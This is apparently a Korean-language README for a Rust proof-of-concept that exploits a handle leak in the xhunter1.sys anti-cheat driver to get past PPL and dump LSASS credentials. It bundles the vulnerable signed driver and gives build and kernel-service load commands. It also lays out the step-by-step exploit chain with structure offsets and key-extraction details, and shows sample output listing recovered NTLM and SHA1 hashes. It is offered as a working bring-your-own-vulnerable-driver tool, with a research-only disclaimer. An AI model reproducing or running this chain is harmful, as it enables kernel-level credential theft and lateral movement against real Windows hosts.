
CVE-2026-3609에 대한 PoC - XIGNCODE3 xhunter1.sys 핸들 누수로 PPL 우회 및 LSASS 덤핑 가능
Wellbia의 XIGNCODE3 안티치트 드라이버 xhunter1.sys에서 PPL을 우회하는 프로세스 핸들 누출을 이용한 LSASS 자격 증명 덤프 개념 증명입니다.
해당 드라이버는 IRP_MJ_WRITE 명령 인터페이스를 노출하며, AccessMode = KernelMode 및 OBJ_KERNEL_HANDLE 없이 ObOpenObjectByPointer를 호출합니다. 이로 인해 커널에서 생성된 PROCESS_ALL_ACCESS 핸들이 호출자의 핸들 테이블에 직접 전달됩니다. 이후 표준 자격 증명 덤프 코드가 대상에서 lsasrv.dll의 3DES 키를 읽어 모든 활성 로그온 세션의 NTLM + SHA1 해시를 복구합니다.
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
취약한 서명된 드라이버는 이 저장소(xhunter1.sys)에 포함되어 있으므로 익스플로잇을 처음부터 끝까지 재현할 수 있습니다. 로드하기 전에 해시를 확인하세요:
Get-FileHash .\xhunter1.sys -Algorithm SHA256
최신 XIGNCODE3 릴리스는 패치되었습니다. 취약한 서명된 바이너리는 드롭 및 로드가 가능한 모든 호스트에서 BYOVD 프리미티브로 계속 사용할 수 있습니다.
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
릴리스 바이너리는 target\release\CredsHunter.exe에 위치합니다.
번들 드라이버를 커널 서비스로 로드합니다(드라이버의 장치 DACL은 실행 중인 모든 호출자를 허용합니다):
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
도구 실행:
.\target\release\CredsHunter.exe
이후 정리하려면:
sc stop xhunter
sc delete xhunter
기본 장치 이름은 \\.\xhunter입니다(위의 예제 서비스 이름과 일치). 서비스에서 다른 이름을 사용하는 경우 장치 경로도 그에 따라 변경됩니다. driver::DEFAULT_DEVICE를 편집하거나 Xhunter::open_named를 적절히 호출하세요.
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
src/
├── main.rs # 배너, 실행 흐름, ExitCode 처리
├── driver.rs # Xhunter, Session, MemReader 트레이트, 프로토콜 상수
├── proc.rs # find_pid, PEB-워크 원격 모듈 조회
├── pe.rs # 로컬 PE 파싱 + 패턴 스캔 + RIP 디코드
├── lsa.rs # LSA 키 패턴, BCrypt 키 추출, 3DES 복호화
├── logon.rs # LogonSessionList 워커 + MSV1_0 오프셋
├── wdigest.rs # WDigest 리스트 워커 (최선 노력)
└── sys.rs # OS 빌드 번호
MemReader 트레이트는 메모리 읽기를 추상화하여 자격 증명 추출 모듈이 특정 드라이버 프리미티브에 의존하지 않도록 합니다. 다른 리더(예: Beacon Object File 런타임, ptwalk 기반 물리 메모리 리더)에 트레이트를 구현하면 lsa / logon / wdigest 모듈을 변경 없이 그대로 사용할 수 있습니다.
48 3B D9 74)이며 Windows 11 빌드 26100+에 대해 업데이트되지 않았습니다. 이를 빌드별 테이블로 확장하는 것은 간단합니다. PR을 환영합니다.xhunter로 하드코딩되어 있습니다. 다른 이름으로 드라이버를 로드하는 경우 driver::DEFAULT_DEVICE를 편집하거나 Xhunter::open_named에 재정의를 전달하세요.연구, 승인된 테스트 및 방어 도구 전용입니다. 귀하가 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 취약한 드라이버를 로드하는 것은 대부분의 관할권에서 범죄입니다. 저자는 오용에 대해 책임을 지지 않습니다.
LICENSE를 참조하세요.
| 단계 | 구성 요소 | 동작 |
|---|
| 1 | driver.rs → Xhunter::open | CreateFile("\\.\\xhunter") — 장치 인증 없음 |
| 2 | driver.rs → Xhunter::open_process | 명령 785로 WriteFile (PID, PROCESS_ALL_ACCESS). 드라이버가 ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle)을 호출하고 핸들을 사용자 응답 버퍼의 +0x10에 기록합니다. AccessMode = KernelMode가 접근 검사를 건너뛰기 때문에 핸들이 PPL을 우회하며, OBJ_KERNEL_HANDLE이 설정되지 않았기 때문에 우리의 핸들 테이블에 위치합니다. |
| 3 | driver.rs → Session::attach | 커널에서 생성된 핸들에 대해 ReadProcessMemory를 검사합니다. RPM이 차단된 경우 드라이버 명령 787(KeStackAttachProcess + memcpy)로 대체됩니다. |
| 4 | lsa.rs | 로컬 lsasrv.dll의 .text를 패턴 스캔하여 LsaInitializeProtectedMemory 내부에서 AES 키, 3DES 키 및 IV에 대한 RIP-상대 포인터를 복구합니다. 해당 VA를 대상의 매핑에 재배치하고 BCRYPT_HANDLE_KEY → BCRYPT_KEY81을 순회하며 대상에서 원시 3DES 바이트를 가져옵니다. |
| 5 | logon.rs | LogonSessionList(빌드별 시그니처 테이블)를 순회합니다. 각 항목의 +credentials → +0x10 → +0x30에 있는 기본 자격 증명은 0x1B0 바이트 크기의 3DES 암호화 블롭을 보유합니다. bcrypt.dll이 복호화하며, 바이트 70..86은 NT 해시, 102..122는 SHA1입니다. |